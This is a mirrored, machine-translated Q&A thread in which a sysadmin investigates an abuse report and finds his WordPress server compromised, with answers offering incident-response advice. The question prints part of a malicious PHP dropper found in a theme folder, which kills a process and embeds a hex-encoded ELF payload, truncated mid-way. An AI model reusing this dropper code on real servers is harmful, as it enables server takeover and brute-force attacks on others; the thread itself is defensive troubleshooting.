AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / server / 问题 / 566990
Accepted
Tony Stark
Tony Stark
Asked: 2014-01-14 12:18:47 +0800 CST2014-01-14 12:18:47 +0800 CST 2014-01-14 12:18:47 +0800 CST

有人在滥用我的服务器,但我该如何阻止这种滥用?[复制]

  • 772
这个问题在这里已经有了答案:
如何处理受损的服务器? (13 个回答)
8年前关闭。

我是一堆虚拟化 Web 服务器的初学者系统管理员。最近我们收到一封电子邮件,称我们的一个服务器正被用于“蛮力”攻击。电子邮件的内容类似于以下内容。

问候,

/somehost/ 滥用团队想通知您,我们已经从您的网络,从 IP 地址 /my 对我们的共享主机服务器 /somehost/.ru /ip-number/ 上的 Joomla/WordPress 控制面板进行了大规模暴力尝试-IP地址/

在过去的 30 分钟内,我们记录了 1500 次这样的尝试:

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:05 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

/my-ip-address/ /their-domain/ - [12/Jan/2014:13:29:06 +0400] "POST /wp-login.php HTTP/1.0" 200 3170 "-" "-"

先前在此服务器上记录的此尝试总数 (/some-host/.ru)[/their-ip/]:

====

此消息由 /some-company-name/ 安全系统自动发送。您从公共 WhoIs 服务获得的电子邮件地址。如果您误收到此消息,我们深表歉意。如果您的电子邮件与此 IP 地址或网络无关,请联系我们。

====

谢谢你,/somehost/ 滥用团队

http:// /somehost/ 点 ru

/俄罗斯的一些电话号码/,

/俄罗斯的更多联系方式/

  • 我应该如何看待这封电子邮件?这是一个骗局还是一个不容忽视的重要信息?

当在他们的日志中可以明显看出“wp-login.php”是来自 WordPress 的 PHP 脚本时,我觉得他们写“Joomla/Wordpress”很奇怪。

在我们的服务器上,我们通过 Webmin/Virtualmin 和一个无法从外部访问的 Squid 服务器托管多个 WordPress 博客。

我观察了一段时间的交通,iftop看nethogs不到任何可疑的东西。鱿鱼访问日志对我来说似乎很正常。

我们可以在“安全”日志中看到许多尝试登录我们的服务器的尝试,但没有人管理它以获得访问权限。

请参阅安全的以下转储。

an 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): check pass; user unknown
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_unix(smtp:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=
Jan 12 02:35:19 /server/ saslauthd[2186]: pam_succeed_if(smtp:auth): error retrieving information about user thomas

还有一个。

Jan 12 03:00:29 /server/ sshd[21948]: Invalid user anton from 109.7.72.130
Jan 12 03:00:29 /server/ sshd[21949]: input_userauth_request: invalid user anton
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): check pass; user unknown
Jan 12 03:00:29 /server/ sshd[21948]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=130.72.7.109.rev.sfr.net
Jan 12 03:00:29 /server/ sshd[21948]: pam_succeed_if(sshd:auth): error retrieving information about user anton
Jan 12 03:00:32 /server/ sshd[21948]: Failed password for invalid user anton from 109.7.72.130 port 40925 ssh2
Jan 12 03:00:32 /server/ sshd[21949]: Received disconnect from 109.7.72.130: 11: Bye Bye

通过“谁”,我可以清楚地看到只有我通过 SSH 登录。

今天我将所有 Webmin 和 Virtualmin 模块以及 Squid 更新到最新版本。

  • 我们现在应该做什么?我们下一步应该采取什么措施来保护服务器不被用于攻击?
  • 甚至有必要吗?
  • 我们应该更改/查看哪些日志文件或配置?

编辑:

到目前为止我所做的:

  • 我使用find / -type f -name "*" -newermt 2014-01-12 ! -newermt 2014-01-12 > out.log. 没有改变。
  • 我检查了我们所有域的 AStats。根据 AStats,甚至没有一个域传输超过 40MB。
  • WordPress 在攻击日是最新的。
  • 我更新了所有 Webmin 和 Virtualmin 模块。
  • 我更新了 squid 并将其端口更改为 3128 以外的其他端口。我只留下了 80、443 和 21 作为“安全”端口。
  • 我更新了fail2ban。

我不想按照如何处理受损服务器中的建议断开服务器与 Internet 的连接?. 我们的数据已备份,因此我们目前是安全的。但是,我想找出导致攻击的原因,但我仍然无法实现。

编辑 15.01.2014:

我nethogs能够发现/usr/bin/host接收和发送的数据比预期的要多得多。

NetHogs version 0.8.0

  PID USER     PROGRAM                                                                                                 DEV        SENT      RECEIVED
10267 /domain//usr/bin/host                                                                                           eth0     120.571     791.124 KB/sec
30517 /domain/sshd: /domain/@pts/0                                                                                  eth0       2.177       0.111 KB/sec
?     root     /ip-address/:39586-119.247.224.98:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55718-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:38474-184.154.230.15:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46593-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:58733-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:41154-83.170.122.1:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39996-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:39872-98.129.229.146:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:37429-144.76.15.247:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:35063-216.12.197.226:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:51335-153.120.33.64:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:58344-64.207.178.120:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:55848-69.163.148.232:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:46799-66.7.212.199:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:38110-66.155.9.238:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:39713-76.74.254.120:80                                                                              0.000       0.000 KB/sec
?     root     /ip-address/:33814-209.217.227.30:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:41009-212.113.141.212:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:57027-173.11.110.117:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:45436-83.222.250.186:80                                                                             0.000       0.000 KB/sec
?     root     /ip-address/:59143-202.232.144.194:80                                                                            0.000       0.000 KB/sec
?     root     /ip-address/:43357-217.9.42.182:80                                                                               0.000       0.000 KB/sec
?     root     /ip-address/:32981-82.113.145.170:80                                                                             0.000       0.000 KB/sec
?     root     unknown TCP                                                                                                        0.000       0.000 KB/sec

  TOTAL                                                                                                                         122.749     791.235 KB/sec

在 PID 上运行lsof时,您可以清楚地看到 WordPress 安装确实有问题。

[root@/domain/ logs]# lsof | grep 1706
host       1706 /domain/  cwd       DIR              253,0     4096      10178 /home//domain//public_html/wp-content/themes/twentyeleven
host       1706 /domain/  rtd       DIR              253,0     4096          2 /
host       1706 /domain/  txt       REG              253,0   137592    1054438 /usr/bin/host
host       1706 /domain/  mem       REG              253,0   156928    1178048 /lib64/ld-2.12.so
host       1706 /domain/  mem       REG              253,0    22536    1178065 /lib64/libdl-2.12.so
host       1706 /domain/  mem       REG              253,0  1926800    1178057 /lib64/libc-2.12.so
host       1706 /domain/  mem       REG              253,0   145896    1178061 /lib64/libpthread-2.12.so
host       1706 /domain/  mem       REG              253,0    91096    1178098 /lib64/libz.so.1.2.3
host       1706 /domain/  mem       REG              253,0   358560    1051774 /usr/lib64/libisc.so.83.0.3
host       1706 /domain/  mem       REG              253,0   599384    1178963 /lib64/libm-2.12.so
host       1706 /domain/  mem       REG              253,0   124624    1178074 /lib64/libselinux.so.1
host       1706 /domain/  mem       REG              253,0   113952    1178072 /lib64/libresolv-2.12.so
host       1706 /domain/  mem       REG              253,0  1674840    1050692 /usr/lib64/libdns.so.81.4.1
host       1706 /domain/  mem       REG              253,0   140568    1051828 /usr/lib64/libisccfg.so.82.0.1
host       1706 /domain/  mem       REG              253,0    34696    1051827 /usr/lib64/libisccc.so.80.0.0
host       1706 /domain/  mem       REG              253,0    17256    1178085 /lib64/libcom_err.so.2.1
host       1706 /domain/  mem       REG              253,0  1953536    1050724 /usr/lib64/libcrypto.so.1.0.1e
host       1706 /domain/  mem       REG              253,0    12592    1178067 /lib64/libkeyutils.so.1.3
host       1706 /domain/  mem       REG              253,0    46368    1178081 /lib64/libkrb5support.so.0.1
host       1706 /domain/  mem       REG              253,0    19016    1178989 /lib64/libcap.so.2.16
host       1706 /domain/  mem       REG              253,0   944712    1178089 /lib64/libkrb5.so.3.3
host       1706 /domain/  mem       REG              253,0   177520    1178083 /lib64/libk5crypto.so.3.1
host       1706 /domain/  mem       REG              253,0   209120    1180550 /lib64/libidn.so.11.6.1
host       1706 /domain/  mem       REG              253,0   280520    1178096 /lib64/libgssapi_krb5.so.2.2
host       1706 /domain/  mem       REG              253,0    52944    1051829 /usr/lib64/libbind9.so.80.0.4
host       1706 /domain/  mem       REG              253,0    75936    1052874 /usr/lib64/liblwres.so.80.0.2
host       1706 /domain/  mem       REG              253,0    21152    1178987 /lib64/libattr.so.1.1.0
host       1706 /domain/  mem       REG              253,0  1383368    1051772 /usr/lib64/libxml2.so.2.7.6
host       1706 /domain/  DEL       REG              253,0                 656 /home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so
host       1706 /domain/  mem       REG              253,0    27424    1178071 /lib64/libnss_dns-2.12.so
host       1706 /domain/  mem       REG              253,0    65928    1178073 /lib64/libnss_files-2.12.so
host       1706 /domain/  mem       REG              253,0 12582912      11739 /home//domain//public_html/wp-content/themes/twentyeleven/.sd0
host       1706 /domain/  DEL       REG              253,0                 655 /home//domain//public_html/wp-content/themes/twentyeleven/libworker.so
host       1706 /domain/    0r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    1r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    2r      CHR                1,3      0t0       3782 /dev/null
host       1706 /domain/    3r      CHR                1,3      0t0       3782 /dev/null
spamd     18546        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18548        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so
spamd     18549        root  mem       REG              253,0    37000    1317060 /usr/lib64/perl5/auto/List/Util/Util.so

我得看看home//domain//public_html/wp-content/themes/twentyeleven/bruteforce.so。

简单地说,所有在 2014 年 1 月更改的文件都不在 WordPress 的标准 21 主题安装中。例如,有一个名为的脚本initvsafe.php可用于在文件系统中存储文件。

<?php

header("Content-type: text/plain");

if (! function_exists('file_put_contents')) {
        function file_put_contents($filename, $data) {
                $f = @fopen($filename, 'w');
                if (! $f)
                        return false;
                $bytes = fwrite($f, $data);
                fclose($f);
                return $bytes;
        }
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x03\x00\x01\x00\x00\x00\x54\x0d\x00\x00\x34\x00\x00\x00\x48\x69\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x0f\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x60\x00\x00\xf0\x60\x00\x00\x05\x00\x00\x00\x00\x10\x00\x00\x01\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\xf0\x07\x00\x00\xac\x61\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\xf0\x60\x00\x00\xf0\x70\x00\x00\xf0\x70\x00\x00\x90\x00\x00\x00\x90\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x25\x00\x00\x00\x3c\x00\x00\x00\x21\x00\x00\x00\x31\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x11\x00\x00\x00\x1c\x00\x00\x00\x28\x00\x00\x00\x2f\x00\x00\x00\x3b\x00\x00\x00\x29\x00\x00\x00\x39\x00\x00\x00\x15\x00\x00\x00\x05\x00\x00\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00\x33\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x32\x00\x00\x00\x1e\x00\x00\x00\x3a\x00\x00\x00\x2a\x00\x00\x00\x34\x00\x00\x00\x36\x00\x00\x00\x23\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

...
abuse
  • 2 2 个回答
  • 2484 Views

2 个回答

  • Voted
  1. Best Answer
    Grant
    2014-01-14T12:29:44+08:002014-01-14T12:29:44+08:00

    这可能是合法的。它没有明确说明 wordpress 的原因是因为它是一条自动消息 - 由一些脚本自动发送,该脚本检测到此类攻击并将其报告给源所有者。

    如果您的服务器被黑客入侵,攻击者首先会为 who、ls 和类似命令安装修改后的二进制文件以隐藏他们自己的活动。并从日志中删除他们的登录记录。所以你有可能被妥协了。 如何处理受损的服务器?涵盖做什么。

    最有可能的是,他们没有通过 SSH 获得访问权限,而是通过充当代理服务器的 PHP 脚本之类的东西获得访问权限。检查您的所有网站以查找不属于的文件。检查访问日志以及异常活动。检查 wordpress、phpmyadmin 等的过时(甚至是最新的,但有报告的漏洞)版本。

    • 4
  2. Thomas E
    2014-01-14T14:35:32+08:002014-01-14T14:35:32+08:00

    您可能还想检查 rkhunter 是否有任何可疑之处。真正的问题是,一旦服务器受到攻击,特别是如果您修补了 fail2ban 和其他软件包,将其离线可能更安全,即使只是将一些证据(日志)移动到另一台机器上。正如格兰特所提到的,您不能确定日志没有被篡改/删除以覆盖任何轨道,所以假设最坏的情况。

    您可能想查看 fail2ban 日志,看看是否还有任何异常情况。

    您可能还想快速查看 debian 手册第 14.6 部分,处理受损系统。

    • 0

相关问题

  • 具有多个主机记录、相同 IP 的垃圾邮件域注册商

  • IP 地址跟踪

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    新安装后 postgres 的默认超级用户用户名/密码是什么?

    • 5 个回答
  • Marko Smith

    SFTP 使用什么端口?

    • 6 个回答
  • Marko Smith

    命令行列出 Windows Active Directory 组中的用户?

    • 9 个回答
  • Marko Smith

    什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同?

    • 3 个回答
  • Marko Smith

    如何确定bash变量是否为空?

    • 15 个回答
  • Martin Hope
    Tom Feiner 如何按大小对 du -h 输出进行排序 2009-02-26 05:42:42 +0800 CST
  • Martin Hope
    Noah Goodrich 什么是 Pem 文件,它与其他 OpenSSL 生成的密钥文件格式有何不同? 2009-05-19 18:24:42 +0800 CST
  • Martin Hope
    Brent 如何确定bash变量是否为空? 2009-05-13 09:54:48 +0800 CST
  • Martin Hope
    cletus 您如何找到在 Windows 中打开文件的进程? 2009-05-01 16:47:16 +0800 CST

热门标签

linux nginx windows networking ubuntu domain-name-system amazon-web-services active-directory apache-2.4 ssh

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve